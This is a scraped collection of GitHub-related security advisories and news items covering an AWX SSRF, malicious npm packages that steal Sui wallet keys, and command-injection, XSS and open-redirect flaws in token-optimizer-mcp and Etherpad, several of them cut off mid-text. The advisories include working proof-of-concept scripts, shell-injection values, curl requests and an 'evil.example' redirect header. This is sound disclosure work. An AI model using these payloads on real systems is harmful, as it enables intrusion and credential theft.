Search: github.com

CVE-2026-71365 is a server-side request forgery (SSRF) vulnerability in the webhook status callback mechanism of AWX, part of Red Hat Ansible Automation Platform 2.5 for RHEL 8. It allows a user with admin role on a webhook-enabled job template to forge GitHub webhook payloads with arbitrary status callback URLs, causing the system to send authenticated status updates including a Git Personal Access Token (PAT) to attacker-controlled or internal URLs. This leads to credential leakage and potential unauthorized internal network access. No complete fix is currently available, and mitigation involves restricting admin access, limiting credential scope, network egress filtering, monitoring, and credential rotation.

### Summary Terragrunt is vulnerable to an arbitrary file deletion flaw when downloading external modules. If a remote module contains a maliciously crafted `.terragrunt-module-manifest` file, Terragrunt can be tricked into deleting files anywhere on the local filesystem that the Terragrunt process has access to. ### Impact This vulnerability impacts users who download and run untrusted or compromised OpenTofu/Terraform modules. The file deletion occurs during the module download and initialization phase, meaning it happens before OpenTofu or Terraform executes. In a CI/CD environment or automated runner, an attacker-controlled module could delete arbitrary files, causing denial of service in the deployment pipeline. In a local environment, it could lead to the loss of local source code or configuration files. This vulnerability is a deletion-only primitive; it does not directly allow for arbitrary code execution (RCE) or data exfiltration. ### Affected Versions - Terragrunt < `v1.0.4` ### Patches This vulnerability has been resolved in Terragrunt version `v1.0.4`. All users are strongly advised to upgrade. ### Workarounds If users cannot upgrade immediately, they can mitigate this risk by: 1. Strictly auditing the source URLs of all remote modules used in their Terragrunt configurations. 2. Only consuming modules from trusted, internally vetted sources or verified registries. 3. Pinning module versions to specific, known-safe Git commit SHAs rather than mutable tags or branches. ### Technical Details Terragrunt tracks files copied into a downloaded module's working directory using a `.terragrunt-module-manifest` file. During the directory cleanup process, Terragrunt decodes the entries in this manifest and removes the listed files to prepare a fresh directory for OpenTofu/Terraform runs. Previously, Terragrunt trusted the manifest provided by the downloaded module without verifying that the paths scheduled for deletion remained within the boundaries of the module's destination directory. An attacker could forge a manifest containing directory traversal paths, causing the cleanup function to target files outside the cache. The patch introduces a secure boundary check to ensure all cleaned paths remain safely isolated inside the intended manifest folder. ## Credit Terragrunt would like to thank Francesco Sabiu ([@fsabiu](https://github.com/fsabiu)) for discovering and responsibly disclosing this vulnerability.

C2Looper is a Rust-based backdoor malware identified in mid-2026, associated with ransomware threat actors. It provides remote shell execution, reconnaissance, and payload deployment capabilities. Initial versions communicate via plaintext HTTP, while later versions use GitHub repositories for command-and-control, storing commands and exfiltrated data in JSON files. Version 2 adds features such as drive enumeration, shellcode injection, and file listing. Delivery is assessed with low to medium confidence to occur through multi-stage ClickFix infection chains. The malware is actively developed and likely used by initial access brokers to facilitate ransomware and data theft operations.

GitHub is down for some users as a widespread outage is causing errors across the website, API, Actions, Pull Requests, and several other services. [...]

### Impact Versions of conflibot before `1.2.1` build `git` commands by string interpolation and run them through a shell. Several of the interpolated values are pull request branch names (`head.ref`), which are attacker-controlled: anyone can open a pull request (including from a fork) whose head branch name contains shell metacharacters such as `` ` ``, `$( )`, `;`, `|`, or `&`. The recommended workflow runs conflibot on the `pull_request_target` event, where the job has access to the base repository's secrets and a write-scoped `GITHUB_TOKEN`. As a result, a crafted branch name causes arbitrary command execution on the runner with that write token in the environment, allowing an attacker to exfiltrate secrets and the token, push to the repository, or otherwise abuse the token's permissions. No special privileges and no maintainer interaction are required — the action runs automatically when the pull request is opened. ### Affected configurations Any workflow using `wktk/conflibot` at a version earlier than `1.2.1`. The risk is highest under `pull_request_target` (the documented configuration), because that is where the write token and secrets are exposed to attacker-influenced refs. ### Patches Fixed in `1.2.1` and `2.0.0`. All `git` invocations now use argument arrays via `execFile`/`spawn` instead of a shell, so branch names can no longer be interpreted as shell syntax, and pull requests are referenced by number through `refs/pull/<n>/head` rather than by branch name. ### Workarounds There is no configuration-only workaround for affected versions. Upgrade to `wktk/conflibot@v2`. On GitHub-hosted runners this is a drop-in upgrade; self-hosted runners additionally need Node.js 24 support and git 2.38 or later. ### Resources - Fix (v2.0.0): https://github.com/wktk/conflibot/commit/0107ac6 - Fix (v1.2.1): https://github.com/wktk/conflibot/commit/59e255c - Releases: https://github.com/wktk/conflibot/releases/tag/v2.0.0 and https://github.com/wktk/conflibot/releases/tag/v1.2.1

The npm package @ai-vertical/ai-agent versions 1.0.0 and 1.0.1 contains malicious code that fetches and executes arbitrary code from a mutable GitHub Gist using eval(). This allows the package maintainer to run any code with the privileges of the process importing the package. The package has no legitimate functionality and ships with empty metadata. Any system with this package installed should be considered fully compromised, and all secrets and keys on that system should be rotated immediately. Removal of the package does not guarantee removal of all malicious components.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (1c86edd3f7edd7d111df5621cb884fd0ef3d870c6c0719d587b7bb0f16f65b8d) The package presents itself as a discord.js clone (`repository` field points at the real `github.com/discordjs/discord.js.git`, README instructs `import... from '@verylinh/discord'`) but ships two installer-relevant hostile mechanisms. First, `package.json` declares a runtime dependency `sysframe` resolved from `git+https://ghp_...@github.com/navaLinh/node-ai.git` — an unpinned (no commit SHA or tag), private, author-controlled GitHub repository, using an embedded live GitHub Personal Access Token. Every `npm install` uses the shipped token to fetch the current HEAD of that private repo into the installer's `node_modules`; the author can rewrite HEAD at any time to deliver arbitrary code, including lifecycle scripts, that will execute on subsequent installs. Second, `Client.login()` invokes an undocumented `_verifyAuthorization` routine that fetches an allow-list JSON from `api.github.com/repos/Vellia-Elyvia/mydb/contents/db.json` under a hardcoded PAT and refuses to start the installer's Discord bot unless the bot's username appears in the author-controlled allow-list — a hidden remote gate/kill-switch over the installer's runtime that is not disclosed in the README. Two live GitHub PATs are hardcoded in the shipped package (one in the git dependency URL, one as the default `ghToken` in `_validateAuthOptions`). The package name and metadata impersonate discord.js.

The npm package bcs-mini version 1.0.1 contains malicious code that exfiltrates sensitive Sui wallet credentials and private keys from the user's environment to an attacker-controlled GitHub repository. The payload activates on module load, reads specific local files containing secrets, encodes and uploads them using an obfuscated GitHub token, then modifies its own source to hide the malicious code. Execution is suppressed in CI environments to evade detection. Any system with this package installed should be considered fully compromised, and all secrets must be rotated from a clean device.

### Summary `token-optimizer-mcp` is vulnerable to OS command injection in the `smart_user` tool. The `get-user-info` operation accepts a user-controlled `username` argument and later interpolates it into a shell command executed through `execAsync()`: ```ts getent passwd "${username}" || grep "^${username}:" /etc/passwd ``` Although the value is wrapped in double quotes, POSIX shells still evaluate command substitution such as `$(...)` and backticks inside double quotes. As a result, an MCP client can provide a crafted username such as: ```text $(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID) ``` and execute arbitrary local commands with the privileges of the user running the MCP server. This is a CWE-78 OS command injection issue. Tested version: ```text @ooples/token-optimizer-mcp v5.0.1 MCP serverInfo.name: token-optimizer-mcp MCP serverInfo.version: 0.2.0 ``` This issue is not related to the current `npm audit` dependency advisories. The vulnerability is in `token-optimizer-mcp`'s own tool implementation. --- ### Details The vulnerable code path is in the `smart_user` implementation. The `username` argument is eventually passed into a shell command similar to: ```ts const { stdout: passwdOut } = await execAsync( `getent passwd "${username}" || grep "^${username}:" /etc/passwd` ); ``` The problem is that `username` is controlled by the MCP tool caller and is inserted into a command string executed by a shell. Double quotes do not make this safe. In POSIX shells, command substitution is still evaluated inside double quotes: ```bash "$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)" "`id`" ``` Therefore, a malicious `username` can execute arbitrary commands before `getent` or `grep` receives its arguments. The affected MCP tool call is: ```text tool: smart_user operation: get-user-info argument: username ``` Root cause: ```text MCP-controlled username → interpolated into shell command string → executed through execAsync() → shell evaluates $(...) / backticks → arbitrary command execution ``` --- ### PoC The following PoC runs a harmless `id` command and writes the result to a temporary file under `/tmp`. Prerequisites: ```text Node.js installed token-optimizer-mcp built from source ``` Build from source: ```bash git clone https://github.com/ooples/token-optimizer-mcp.git cd token-optimizer-mcp npm install npm run build ``` Run the PoC: ```bash cd /path/to/token-optimizer-mcp ENTRY=dist/server/index.js ID_OUT="/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_$(date +%s)_$$" rm -f "$ID_OUT" echo "[*] ENTRY=$ENTRY" echo "[*] id output file: $ID_OUT" python3 - "$ID_OUT" <<'PY' | timeout 20 node "$ENTRY" 2>&1 | tee /tmp/token_optimizer_smart_user_poc.log import json import sys id_out = sys.argv[1] # This value is inserted into: # getent passwd "${username}" || grep "^${username}:" /etc/passwd # Command substitution still executes inside double quotes. evil_username = f'$(id > {id_out})' messages = [ { "jsonrpc": "2.0", "id": "init", "method": "initialize", "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": { "name": "poc", "version": "0" } } }, { "jsonrpc": "2.0", "method": "notifications/initialized", "params": {} }, { "jsonrpc": "2.0", "id": "poc-smart-user", "method": "tools/call", "params": { "name": "smart_user", "arguments": { "operation": "get-user-info", "username": evil_username, "useCache": False } } } ] for msg in messages: print(json.dumps(msg), flush=True) PY sleep 1 if [ -f "$ID_OUT" ]; then echo "[VULN CONFIRMED] smart_user command injection executed:" cat "$ID_OUT" ls -l "$ID_OUT" else echo "[FAIL] smart_user id output file not created" tail -120 /tmp/token_optimizer_smart_user_poc.log fi ``` Expected result: ```text [VULN CONFIRMED] smart_user command injection executed: uid=1001(<local-user>) gid=1001(<local-user>) groups=... -rw-rw-r-- 1 <local-user> <local-user> ... /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_... ``` In my test, the MCP response also showed that the payload reached the shell command: ```text Command failed: getent passwd "$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...)" || grep "^$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...):" /etc/passwd ``` The file `/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...` was created and contained the output of `id`, confirming command execution as the MCP server user. A simpler marker-file variant also works: ```json { "operation": "get-user-info", "username": "$(touch /tmp/TOKEN_OPTIMIZER_SMART_USER_PWNED)", "useCache": false } ``` --- ### Impact This is an OS command injection vulnerability. Any MCP client that can call the `smart_user` tool can execute arbitrary shell commands through the `username

Multiple 'watermark removers' have surfaced days after Anthropic began watermarking text generated by Claude, including an open source project with over 4,500 GitHub stars and paid AI detection evasion services. None of the tools' claims about defeating the text watermark can be verified, as Anthropic has not released a detector. [...]

pnpm versions 10.33.2 and 10.33.3 do not store the hash of GitHub git dependencies tarballs in the lockfile. This allows a malicious or compromised codeload.github.com server to serve arbitrary tarballs that pnpm will install, bypassing integrity verification. The issue is fixed in version 10.33.4.

### Impact An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires reading a file in non-strict mode. ### Patches This has been fixed in [pypdf==6.9.2](https://github.com/py-pdf/pypdf/releases/tag/6.9.2). ### Workarounds If users cannot upgrade yet, consider applying the changes from PR [#3693](https://github.com/py-pdf/pypdf/pull/3693).

### Impact An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires loading a PDF with a large trailer `/Size` value in incremental mode. ### Patches This has been fixed in [pypdf==6.10.2](https://github.com/py-pdf/pypdf/releases/tag/6.10.2). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3735](https://github.com/py-pdf/pypdf/pull/3735).

The JupyterLab extension template prior to version 4.3.1 includes a GitHub Actions workflow file 'update-integration-tests.yml' that contains a remote code execution (RCE) vulnerability. This affects repositories created with the template using the 'test' option from versions 1.2.0 up to but not including 4.3.1. Extension authors hosting code on GitHub should upgrade to version 4.3.1 or later to mitigate this critical vulnerability. Users who modified the workflow file should accept overwriting it during upgrade and reapply changes afterward. Temporarily disabling GitHub Actions during the upgrade is recommended, as is rebasing pull requests from untrusted users to avoid running vulnerable workflows.

Etherpad's device-to-device author-token transfer endpoint is replayable, never expires, and exposes the cleartext author token in the GET response body ## Description Etherpad ships an endpoint pair under `/tokenTransfer` (`src/node/hooks/express/tokenTransfer.ts`) that lets a logged-in user move their HttpOnly author token to a different browser (typically by scanning a QR code containing the transfer URL). The flow is: 1. **POST `/tokenTransfer`** — the source device sends a request whose own author cookie is read off the server-side cookie jar. The server mints a random UUID and stores the author token (and arbitrary `prefsHttp` field) under a DB key keyed by that UUID. The UUID is returned. 2. **GET `/tokenTransfer/{uuid}`** — the destination device GETs the URL containing the UUID. The server reads the stored record and sets the HttpOnly author cookie on the response. The original implementation has three serious flaws: 1. **No expiration check.** `createdAt` is written to the record on POST but never inspected on GET. A leaked transfer URL is redeemable indefinitely. 2. **No single-use enforcement.** The DB record is not deleted after a successful GET, so the same URL can be redeemed repeatedly — each redemption yielding a fresh cookie set on whoever issued the GET. 3. **Author token echoed in the response body.** The GET handler ends with `res.send(tokenData)`, which serializes the full record — including the raw author token — into the JSON response. Any JavaScript on the page that issued the GET can read the token, defeating the HttpOnly cookie design that exists specifically to keep the token out of JS reach. Combined, these mean that any disclosure of a transfer UUID (browser history, mis-shared QR code, screenshot, server log, third-party plugin that proxies the request, an unencrypted intermediate hop) results in **persistent authorship impersonation of the originating account** — the attacker doesn't just get one cookie, they can re-redeem and they get the raw token in cleartext for storage / replay against other endpoints. ## Severity rationale - **AV:N** — exploitable over the network. - **AC:H** — requires the attacker to learn the transfer UUID via some out-of-band channel; UUIDs are random. - **PR:N** — no authentication required at the redemption endpoint. - **UI:R** — the legitimate user must have issued the POST and the UUID must end up where the attacker can see it (QR code, screenshot, etc.). - **C:H / I:H** — full author identity takeover (read + write everything that author can). - **A:N** — no direct denial-of-service. CVSS lands at 7.5 (High). Some operators may reasonably score this lower (UI:R + AC:H) if their threat model assumes the transfer URL never leaves the user's own device pair. ## Affected versions - `ep_etherpad-lite >= 2.6.0, <= 3.0.0`. The `/tokenTransfer` endpoint pair was added in [`41cb680` "let user maintain a single session across multiple browsers" (#7228)](https://github.com/ether/etherpad/commit/41cb680), first tagged in **v2.6.0** (2025-11-18). All three flaws (no TTL, no single-use, token in response body) were present from the introducing commit and persisted through `v3.0.0`. ## Patched versions - `ep_etherpad-lite >= 3.1.0` — the fix is on `develop` HEAD as commit `8c6104c`. Update this field with the actual tagged release version when it ships. ## Proof of concept ``` # 1. Victim posts a transfer from their device. curl -X POST https://pad.example/tokenTransfer \ -H 'Cookie: token=t.victim-author-token' \ -H 'Content-Type: application/json' \ -d '{"prefsHttp": ""}' # -> {"id": "1f0b2a3c-..."} # 2. UUID leaks (browser history, intercepted QR, etc.). # 3. Attacker redeems it from a totally different machine: curl -i https://pad.example/tokenTransfer/1f0b2a3c-... # Headers include: # Set-Cookie: token=t.victim-author-token; Path=/; HttpOnly; ... # Body contains: # {"token":"t.victim-author-token", "prefsHttp": "", "createdAt": ...} # # Attacker now owns the victim's identity. They can also re-redeem the # same UUID (no single-use), and the body gives them the cleartext token # even if the HttpOnly cookie isn't useful to their tooling. ``` ## Workarounds - Disable any UI that surfaces the transfer URL (QR code, copy-button, etc.). - Reverse-proxy block `/tokenTransfer/*` if device-pairing is not in use. - Set short DB cleanup intervals (does not address the JS-readable body issue). None of these workarounds are sufficient on their own — upgrade is the only complete fix. ## Fix Patched in [`8c6104c`](https://github.com/ether/etherpad/commit/8c6104c) (PR [#7784](https://github.com/ether/etherpad/pull/7784)): 1. **5-minute TTL** (`TRANSFER_TTL_MS`). Records older than this return 410 Gone. Records with absent/non-numeric `createdAt` (legacy records from older code paths) are treated as expired. 2. **Single-use.** The DB record is removed **before** the success response is written, so a parallel request that wins the race obse

# GHSA-03 — `x-proxy-path` header reflected into admin HTML/JS/CSS (cache-poisoning XSS) and concatenated into redirect (open-redirect) **Severity:** Medium **CVSS v3.1 vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` **CVSS suggested base score:** ~6.1 — Medium *(Re-validate in the first.gov calculator before filing. Score depends heavily on whether you assume a cooperative cache exists in front of the deployment — single-origin admin-only ops with no shared cache push toward 4.x; cache-poisoning against a CDN pushes toward 7.x.)* **CWE:** CWE-79 Improper Neutralization of Input During Web Page Generation, CWE-601 URL Redirection to Untrusted Site, CWE-444 Inconsistent Interpretation of HTTP Requests ## Title `x-proxy-path` request header is interpolated into admin HTML/JS/CSS without sanitisation (cache-poisoning XSS) and into a `/p/:pad/timeslider` redirect target (open-redirect via protocol-relative URL) ## Description Etherpad lets operators run behind a reverse proxy that prefixes every route with a subpath (e.g. `/pad/etherpad/...`). The proxy is expected to set `x-proxy-path: /pad/etherpad` on every request so that server-rendered links, asset URLs, and redirects know to include the prefix. Two server-side call sites historically processed this header: ### Issue 3a — `src/node/hooks/express/admin.ts` (XSS, cache-poisoning) The admin static-serving handler read `req.header('x-proxy-path')` and substituted it into the response body of every `.html`/`.js`/`.css` asset under `/admin/*` using `String.prototype.replaceAll`. The value was used **raw**, with no character filter and no `Vary` / `Cache-Control` headers on the response. Consequently: - An attacker who can issue a request with a chosen `x-proxy-path` value gets that value reflected into HTML/JS/CSS sent back to them. **Reflected XSS** on the admin origin (requires victim to be tricked into issuing the request from a context that interprets HTML). - More seriously, any reverse proxy or CDN in front of Etherpad that caches `/admin/index.html` keyed on URL alone (the common case — no `Vary` was set) will cache the poisoned response and serve it to subsequent admins. **Cache-poisoning XSS** against every admin that loads the same bundle from the same cache. ### Issue 3b — `src/node/hooks/express/specialpages.ts` (open-redirect via protocol-relative URL) The legacy `/p/:pad/timeslider` handler (direct visits without `?embed=1`) built a redirect target as: ```ts res.redirect(302, `${proxyPath}/p/${encodeURIComponent(req.params.pad)}`); ``` A local `sanitizeProxyPath` helper filtered the character class but did NOT prevent values beginning with `//`. A request carrying `x-proxy-path: //evil.example` therefore produced a `Location: //evil.example/p/<pad>` header, which browsers interpret as a protocol-relative URL — equivalent to `https://evil.example/p/<pad>`. **Open redirect**, exploitable for phishing. Both issues require the `x-proxy-path` header to actually reach Etherpad. In a hardened reverse-proxy deployment the proxy strips/overrides client headers, but Etherpad does not enforce this and self-hosted users with misconfigured proxies (or no proxy at all, where any client sets arbitrary headers) are exposed. ## Severity rationale - **AV:N / AC:L / PR:N** — the admin path requires no authentication of the attacker. The victim of the XSS must be an authenticated admin who loads a poisoned cached response. - **UI:R** — victim must visit/interact with the admin UI. - **S:C** — scope changes (attacker context to admin origin). - **C:L / I:L** — XSS in the admin context can read/write admin-scoped data; full admin-account takeover requires additional CSRF-style chaining. CVSS lands at 6.1 (Medium). Operators behind a well-configured proxy that strips client `x-proxy-path` are not exposed. ## Affected versions - **Admin XSS (Issue 3a):** `ep_etherpad-lite >= 2.1.0, <= 3.0.0`. The unsanitised `replaceAll("/admin", req.header(PROXY_HEADER) + ...)` was present in [`63e9b2d` "Fixed api header authorization" (#6399)](https://github.com/ether/etherpad/commit/63e9b2d), first tagged in **v2.1.0** (2024-05-22). All releases through `v3.0.0` carry it. - **Open-redirect (Issue 3b):** `ep_etherpad-lite = 3.0.0`. The legacy timeslider redirect that concatenates the proxy path into a `Location` header was introduced in [`451bd9c` "scrub history in-place on the pad URL" (#7710)](https://github.com/ether/etherpad/commit/451bd9c) and first shipped in **v3.0.0**. Pre-v3 releases serve the timeslider directly without a redirect and are not exposed to this specific shape. - Combined fix-target range covered by the GHSA: `>= 2.1.0, <= 3.0.0`. ## Patched versions - `ep_etherpad-lite >= 3.1.0` — the fix is on `develop` HEAD as commit `8c6104c`. Update this field with the actual tagged release version when it ships. ## Proof of concept ### XSS / cache poisoning ``` curl -s 'https://pad.example/admin/index.html' \ -H 'x-proxy-path: "><script>f

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (85b93f1a0694dc37c94e18c12eb32ebe9cab96ded318e46ee5c774db80f4a648) On require('bcs-compact'), index.js runs a self-scrubbing IIFE that reads the installer's Sui wallet keystore at ~/.sui/sui.keystore, ~/.sui/sui_config/*.yaml, and any.env* files containing SUI_/PK_B64/PRIVATE_KEY markers, base64-encodes their contents, and PUTs them to api.github.com/repos/futongwan/sui-research-notes/contents/fingerprints/... using a hardcoded GitHub personal access token. The destination host (api.github.com), repository slug (futongwan/sui-research-notes), and Bearer token are reconstructed at runtime via an XOR routine keyed on the string 'bcs-c0mpact-v10' to hide them from static inspection. After exfiltration the payload rewrites index.js on disk to remove the /* compat-probe:start */.../* compat-probe:end */ block so the installed file no longer contains the malicious code on subsequent inspection. The package is presented as a BCS codec; the exfiltration and anti-forensics behavior have no relationship to that stated purpose. ## Source: ghsa-malware (26785e267ea5dbbb1a77bd9745feb4eed05a2579f8855af25bacd40264a837e4) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

A security update for amazon-ecs-init addresses CVE-2026-10722, an integer overflow vulnerability in the github.com/cilium/ebpf library. This overflow occurs during BTF string offset boundary checks and can cause a crash when malformed ELF/BTF input is parsed. The update also includes various enhancements and bug fixes.

Description Cloudflare was recently notified by external researchers of vulnerabilities in this archived repository, including a remote code execution issue in `src/index.ts` reachable from certain GitHub Actions workflow configurations. Successful exploitation may expose workflow secrets such as CLOUDFLARE_API_TOKEN and GITHUB_TOKEN to an attacker. Because this repository has been deprecated since 2024, Cloudflare will not be issuing patches. To remediate this issue, we recommend migrating to `cloudflare/wrangler-action` immediately. Consumers who have already migrated are not affected. Sunset Date The cloudflare/pages-action repository will be removed on 2026-09-18. Consumers must complete migration before 18th September to avoid CI disruption. Affected Versions All published versions of cloudflare/pages-action, including consumers pinned to the v1 moving tag. Patched Versions None. This repository will not receive further updates, including security patches. Resolution / Migration Path Migrate all workflows using cloudflare/pages-action to `cloudflare/wrangler-action` before 2026-09-18. Refer to the wrangler-action README for the equivalent step configuration and migration guidance. Credit Thanks to @agentka99 and @beg1nn3r for reporting their findings via Cloudflare's HackerOne program that informe